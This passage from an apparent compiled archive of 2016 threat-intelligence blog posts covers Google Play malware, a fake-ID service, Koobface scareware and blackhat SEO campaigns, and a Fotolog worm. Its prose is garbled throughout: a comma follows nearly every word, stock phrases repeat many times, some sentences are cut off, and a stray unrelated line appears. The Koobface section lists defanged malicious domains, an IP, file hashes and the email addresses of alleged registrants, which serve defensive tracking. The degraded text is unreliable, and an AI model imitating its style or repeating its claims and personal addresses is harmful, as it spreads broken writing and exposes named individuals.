Thanks, to, the, overall, availability,

of, managed, affiliate-based, type, of, cybercrime-friendly, services, cybercriminals, continue, to, successfully, monetize, and, obtain, access, to, hundreds, of, thousands, of, managed,

cybercrime-friendly, type, of, compromised, devices, successfully, monetizing, and, earning, fraudulent, revenue, in, the, process, while, successfully, bypassing, the, confidentiality, availability, and, integrity, of, the, targeted, devices, while, successfully, monetizing, the, socially, engineered, user's, device, for, the, purpose, of, launching, malicious, software, type, of, malicious, campaigns, globally.

12.5.4 New Mobile Malware Hits Google Play, Hundreds of Users Affected

(2016-09-24 09:01)

We've, recently, intercepted, a,

currently, circulating, malicious, campaign, affecting, hundreds, of, Google, Play, users, potentially, exposing, their, devices, to, a, multi-tide, of, malicious, software, potentially, exposing, the, confidentiality, integrity, and, availability, of, their, devices. Largely, relying, on a, set, of, social, engineering, vectors, cybercriminals, continue, populating, Google, Play, with, hundreds, of, malicious, releases, successfully, bypassing, Google, Play's, security, mechanisms.

Thanks, to, a, vibrant, cybercrime,

5313

ecosystem, stolen, and, compromised, accounting, data, continues, to, represent, an, underground, market, commodity, successfully, empowering, novice, cybercriminals, with, the, necessary, tools, and, know-how, to, continue, launching, malicious, attacks. Largely,

relying, on, a, set, of, social, engineering, vectors,

cybercriminals, continue, to, successfully, compromise, and, take,

advantage, of, stolen, publisher's, account, successfully,

bypassing, Google, Play's, security, mechanisms, potentially,

exposing, hundreds, of, thousands, of, users, to, a, multi-tude, of,

malicious, software.

In, this, post, we'll, profile, the,

campaign, expose, the, infrastructure, behind, it, and, discuss,

in-depth, the, tactics, techniques, and, procedures, of, the,

cybercriminals, behind, it.

as, new, developments, take, place.

12.6 December

12.6.1 New Service Offerring Fake Documents on Demand Spotted in the Wild

(2016-12-21 14:08)

In, a, cybercrime, ecosystem, dominated, by, multiple, underground, market, participants,

and, hundreds, of, fraudulent, propositions, cybercriminals, continue, successfully, monetizing,

access, to, malware-infected, hosts, for, the, purpose, of, earning, fraudulent, revenue, in,

the, process, largely, relying, on, a, set, of, DIY (do-it-yourself), managed, cybercrime-friendly,

services, successfully, monetizing, access, to, malware-infected, hosts, for, the, purpose, of,

earning, fraudulent, revenue, in, the, process.

We've recently, intercepted, a, newly, launched, managed, on, demand, underground,

market, type, of, service, proposition, offering, access, to, fake, documents, and, IDs, suc-

cessfully, empowering, novice, cybercriminals, with, the, necessary, tactics, techniques, and,

procedures, for, the, purpose, of, commiting, fraudulent, activities, while, earning, fraudulent,

revenue, in, the, process, successfully, monetizing, access, to, malware-infected, hosts, while,

earning, fraudulent, revenue, in, the, process.

In, this, post, we'll, profile, the, service, provide, actionable, intelligence, on, the, infras-

tructure, behind, it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of, the,

cybercriminals, behind, it.

In, a, cybercrime, ecystem, populated, by, hundreds, of, fraudulent, propositions, cyber-

criminals, continue, actively, launching, managed, cybercrime-friendly, services, successfully,

monetizing, access, to, malware-infected, hosts, while, earning, fraudulent, revenue, in,

the, process. Largely, relying, on, a, diverse, set, of, tactics, techniques, and, procedures,

cybercriminals, continue, successfully, launching, managed, cybercrime-friendly, services,

successfully, empowering, novice, cybercriminals with, the, necessary, tactics, techniques,

and, procedures, for, the, purpose, of, earning, fraudulet, revenue, in, the, process, while,

successfully, monetizing, access, to, malware-infected hosts, successfully, earning, fraudulent,

revenue, in, the, process.

The, market, segment, for, fake, IDs, and, fake, documents, continues, flourishing, largely,

thanks, to, a, diverse, set, of, underground, market, segment, cybercrime-friendly, managed,

services, successfully, empowering, novice, cybercriminals, with, the, necessary, tactics, tech-

niques, and, procedures, to, fruther, commit, cybercrime, while, earning, fraudulent, revenue,

in, the, process, while, successfully, monetizing, access, to, malware-infected, hosts. In, a,

market, segment, dominated, by, commiditized, underground, market, cybercrime-friendly,

propositions, cybercriminals, continue, actively, populating, the, market, segment, for, fake,

5414

IDs, and, fake, documents, with, hundreds, of, fraudulent,

propositions, successfully, empow-

ering, novice, cybercriminals, with, the, necessary, tactics, techniques, and, procedures, to,

further, commit, fraudulent, activity, while, earning, fraudulent, revenue, in, the, process.

We'll, continue, monitoring, the, market, segment, for, fake, documents, and, IDs, and,

post, updates, as, soon, as, new, developments, take, place.

12.6.3 Historical OSINT - Celebrity-Themed Blackhat SEO Campaign Serving Scare-

ware and the Koobface Botnet Connection (2016-12-23 08:02)

In, a, cybercrime, dominated, by, fraudulent, propositions, historical, OSINT, remains, a,

crucial, part, in, the, process, of, obtaining, actionable. intelligence, further, expanding, a,

fraudulent, infrastructure, for, the, purpose, of, establishing, a, direct, connection, with, the,

individuals, behind, it. Largely, relying, on, a, set, of, tactics, techniques, and, procedures,

cybercriminals, continue, further, expanding, their, fraudulent, infrastructure, successfully,

affecting, hunreds, of, thousands, of, users, globally, further, earning, fraudulent, revenue, in,

the, process, of, committing, fraudulent, activity, for, the, purpose, of, earning, fraudulent,

revenue, in, the, process.

In, this, post, we'll, discuss, a, black, hat, SEO (search engine optimization), campaign,

intercepted, in, 2009, provide, actionable, intelligence, on, the, infrastructure, behind, it, and,

discuss, in-depth, the, tactics, techniques, and, procedures, of, the, cybercriminals, behind, it,

successfully, establishing, a, direct, connection, with, the, Koobface, gang.

The, Koobface, gang, having, successfully, suffered, a, major, take, down, efforts, thanks, to,

active, community, and, ISP (Internet Service Provider), cooperation, has, managed, to, suc-

cessfully, affect, a, major, proportion, of, major, social, media, Web, sites, including, Facebook,

and, Twitter, for, the, purpose, of, further, spreading, the, malicious, software, served, by,

the, Koobface, gang, while, earning, fraudulent, revenue, in, the, process, of, monetizing, the,

hijacked, and, acquired, traffic, largely, relying, on, the, use, of, fake, security, software, and,

the, reliance, on, a, fraudulent, affiliate-network, based, type, of, monetizing, scheme.

5424

Largely, relying, on, a, diverse, set, of, traffic, acquisition, tactics, including, social, me-

dia, propagation, black, hat, SEO (search engine optimization), and, client-side, exploits, the,

Koobface, gang, has, managed, to, successfully, affect, hundreds, of, thousands, of, users,

globally, successfully, populating, social, media, networks, such, as, Facebook, and, Twitter,

with, rogue, and, bogus, content, for, the, purpose, of, spreading,

malicious, software, and,

earning, fraudulent, revenue, in, the, process, largely, relying, on, a, diverse, set, of, traffic,

acquisition, tactics, successfully, monetizing, the, hijacked, and, acquired, traffic, largely,

relying, on, the, use, of, affiliate-network, based, traffic, monetizing, scheme.

Let's, profile, the, campaign, provide, actionable, intelligence, on, the, infrastructure, be-

hind, it, discuss, in-depth, the, tactics, techniques, and, procedures, of, the, cybercriminals,

behind, it, and, establish, a, direct, connection, with, the, Koobface, gang, and, the, Koobface,

botnet's, infrastructure.

spyware-online-remover.org - Email: robertsimonkroon@gmail.com

tubepornonline.biz - Email: robertsimonkroon@gmail.com

tubepornonline.org - Email: robertsimonkroon@gmail.com

5429

Sample, malicious, domains, known, to, have, participated, in, the, campaign:

hxxp://antyspywarestore.com/index.php?affid=90400

hxxp://newsecuritytools.net/index.php?affid=90400 - 78.129.166.11 - Email:

joyomcder-

mott@gmail.com

Sample, detection, rate, for, a, malicious, executable:

MD5: 0feffd97ffe3ecc875cfe44b73f5653b

MD5: a0d9d3127509272369f05c94ab2acfc9

Naturally, it gets even more interesting, in particular the fact the very same **robertsi-**

monkroon@gmail.com used to register the domains historically parked at the IP that is

currently hosting the scareware domains part of the massive blackhat SEO campaign – the

very same domains (*hxxp://firefoxfowner.cn*), were also in circulation on Koobface infected

host, in a similar fashion when the domains used in the New York Times malvertising campaign

were simultaneously used in blackhat SEO campaigns managed by the Koobface gang – have

not only been seen in July's scareware campaigns – but also, has been used to register actual

domains used as a download locations for the scareware campaigns part of the [1]**Koobface**

botnet's scareware business model.

5430

Parked, at, the, same, malicious, IP (91.212.107.37), are, also, the, following, malicious,

domains:

hxxp://free-web-download.com

hxxp://web-free-download.com

hxxp://iqmediamanager.com

hxxp://oesoft.eu

hxxp://unsoft.eu

hxxp://losoft.eu

hxxp://tosoft.eu

hxxp://kusoft.eu

5431

Sample, detection, rate, for, a, malicious, executable:

MD5: 29ff816c7e11147bb74570c28c4e6103

MD5: e59b66eb1680c4f195018b85e6d8b32b

MD5: b34593d884a0bc7a5adb7ab9d3b19a2c

The overwhelming evidence of underground multi-tasking performed by the Koobface

gang, it's connections to money mule recruitment scams, high profile malvertising attacks,

and current market share leader in blackhat SEO campaigns, made, the, group, a, prominent,

market, leader, within, the, cybercrime, ecosystem, having, successfully, affecting, hundreds,

of, thousands, of, users, globally, potentially, earning, hundreds, of, thousands, in, fraudulent,

revenue, in, the, process.

eres tu no es verdad?

opments, take, place.

12.6.7 Historical OSINT - FTLog Worm Spreading Across Fotolog (2016-12-24 12:49)

In, a, cybercrime, ecosystem, dominated, by, fraudulent, propositions, cybercriminals, con-

tinue, actively, populating, their, botnet's, infected, population, further, spreading, malicious,

software, while, compromising, the, confidentiality, integrity, and, availability, of, the, af-

fected, hosts, to, a, multu-tude, of, malicious, software, while, earning, fraudulent, revenue,

in, the, process, of, monetizing, access, to, the, malware-infected, hosts, further, spreading,

malicious, software, while, monetizing, access, to, malware-infected, hosts, largely, relying,

on, a, set, of, tactics, techniques, and, procedures, successfully, monetizing, access, to,

the, malware-infected, hosts, largely, relying, on, the, utilization, of, affiliate-based, type, of,

monetizing, scheme.

We've, recently, intercepted, a currently, circulating, malicious, spam, campaign, tar-

geting, the, popular, social, network, Web, site, Fotolog, successfully,

enticing, socially,

engineered, users, into, interacting, with, malicious, links, while, monetizing, access, to, the,

malware-infected, hosts, largely, relying, on, the, utilization, of, an, affiliate-based, type, of,

monetizing, scheme.

In, this, post, we'll, profile, the, campaign, provide, actionable, intelligence, on, the, in-

frastructure, behind, it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of,

the, cybercriminals, behind, it.

Sample, URL, redirection, chain:

We'll, continue, monitoring, the, campaign, and, post, updates, as, soon, as, new, devel-

opments, take, place.

12.6.8 Historical OSINT - Google Docs Hosted Rogue Chrome Extension Serving Cam-

paign Spotted in the Wild (2016-12-24 19:12)

In, a, cybercrime, ecosystem, dominated, by, malicious, software, releases, cybercriminals,

continue, actively, populating, their, botnet's, infected, population, further, spreading, mali-

cious, software, while, earning, fraudulent, revenue, in, the, process, of, obtaining, access,

to, malware-infected, hosts, further, compromising, the, confidentiality, integrity, and, avail-

ability, of, the, affected, hosts, successfully, earning, fraudulent, revenue, in, the, process,

of, monetizing, access, to, malware-infected, hosts, largely, relying, on, the, utilization, of,

affiliate-based, type, of, monetization, scheme.

We've, recently, intercepted, a, currently, circulating, malicious, spam, campaign, affect-

ing, Google Docs, while, successfully, enticing, socially, engineered, users, into, clicking, on,

bogus, links, potentially, exposing, the, confidentiality, integrity, and, availability, of, the,

affected, hosts, successfully, exposing, socially, engineered, users, to, a, rogue, Chrome

Extension.

In, this, post, we'll, profile, the, campaign, provide, actionable, intelligence, on, the, in-

frastructure, behind, it, discuss, in-depth, the, tactics, techniques, and, procedures, of, the,

cybercriminals, behind, it, and, provide, actionable, intelligence, on, the, infrastructure,

behind, it.

opments, take, place.

12.6.10 Historical OSINT - Koobface Gang Utilizes, Google Groups, Serves, Scare-

ware and Malicious Software (2016-12-25 19:58)

In, a, cybercrime, ecosystem, dominated, by, malicious, software, releases, cybercriminals,

continue, actively, populating, their, botnet's, infected, populating, successfully, affecting,

hundreds, of, thousands, of, users, globally, potentially, exposing, the, confidentiality, in-

tegrity, and, availability, of, the, affected, hosts, to, a, multi-tude, of, malicious, software,

further, spreading, malicious, software, further, earning, fraudulent, revenue, in, the, process,

of, monetizing, access, to, malware-infected, hosts, largely, relying, on, the, utilization, of, an,

affiliate-network, based, type, of, monetization, scheme.

We've, recently, intercepted, a, currently, circulating, malicious, spam, campaign, affect-

ing, Google Groups, potentially, exposing, users, to, a, multi-tude, of, malicious, software,

including, fake, security, software, also, known, as, scareware, further, enticing, users, into,

interacting, with, the, bogus, links, potentially, exposing, their, devices, to, a, multi-tude, of,

malicious, software.

In, this, post, we'll, profile, the, campaign, provide, actionable, intelligence, on, the, in-

frastructure, behind, it, and, discuss, in-depth, the, tactics, techniques, and, procedures, of,

the, cybercriminals, behind, it, and, establish, a, direct, connection, between, the, campaign,

and, the, Koobface, gang.
